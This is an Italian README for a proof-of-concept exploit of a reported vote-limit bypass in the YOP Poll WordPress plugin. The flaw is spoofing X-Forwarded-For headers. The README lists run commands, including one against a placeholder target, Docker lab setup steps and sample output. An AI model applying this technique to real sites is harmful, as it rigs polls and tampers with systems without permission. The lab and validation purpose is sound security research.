
Exploit proof-of-concept per il bypass del limite di voti di un plugin WordPress tramite header X-Forwarded-For contraffatti; include un laboratorio Docker per validare CVE-2026-14840 su istanze WordPress autorizzate.
Autore: nullwhisper
Caso d'uso: solo ricerca di sicurezza autorizzata / validazione di vulnerabilità.
Il plugin YOP Poll versioni < 7.0.6 impone un limite di un voto per IP. Il problema è che per ottenere l'IP del client controlla HTTP_CLIENT_IP e HTTP_X_FORWARDED_FOR prima di REMOTE_ADDR. Entrambi gli header sono controllati dall'attaccante, quindi un utente non autenticato può falsificare un nuovo IP a ogni richiesta e votare un numero illimitato di volte.
.
├── cve_2026_14840_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a poll + public test page
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14840_poc.py -u https://target.com/page-with-poll -n 10
-n è il numero di voti da esprimere. Se viene accettato più di un voto, il target è vulnerabile.
Lo script ripiega automaticamente su ?rest_route=/yop-poll/v1/votes quando il sito utilizza i permalink semplici di WordPress e /wp-json/... restituisce HTML.
Scarica il plugin vulnerabile (non ridistribuire il binario del plugin):
mkdir -p lab/yop-poll
cd lab/yop-poll
wget https://downloads.wordpress.org/plugin/yop-poll.7.0.5.zip
unzip yop-poll.7.0.5.zip && rm yop-poll.7.0.5.zip
cd ../..
Avvia il lab:
cd lab
docker compose up -d
Completa l'installazione di WordPress su http://127.0.0.1:8090.
Crea il sondaggio e la pagina di test:
docker exec -i lab-wpcli-1 php /tmp/setup.php
Esegui il PoC:
python3 cve_2026_14840_poc.py -u 'http://127.0.0.1:8090/?page_id=4' -n 5
Testato su WordPress 6.8 + YOP Poll 7.0.5 con permalink semplici predefiniti.
Stesso IP tre volte — il limite funziona:
#1 201 -> Vote recorded successfully.
#2 403 -> You have already voted on this poll.
#3 403 -> You have already voted on this poll.
IP diverso a ogni richiesta tramite X-Forwarded-For — il bypass funziona:
#1 201 -> Vote recorded successfully.
#2 201 -> Vote recorded successfully.
#3 201 -> Vote recorded successfully.
La tabella wp_yoppoll_votes cresce di una riga per ogni IP falsificato, confermando che il limite per-IP viene bypassato.
Questo repository contiene solo il PoC e i file di orchestrazione del lab. Il plugin YOP Poll è GPL-2.0+, ma distribuire una copia completa non è necessario, appesantisce il repository e può causare problemi. Scarica la versione 7.0.5 da WordPress.org per il tuo lab.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e ricerca. Non usarlo contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione a eseguire test. L'autore non è responsabile per usi impropri o danni causati da questo codice.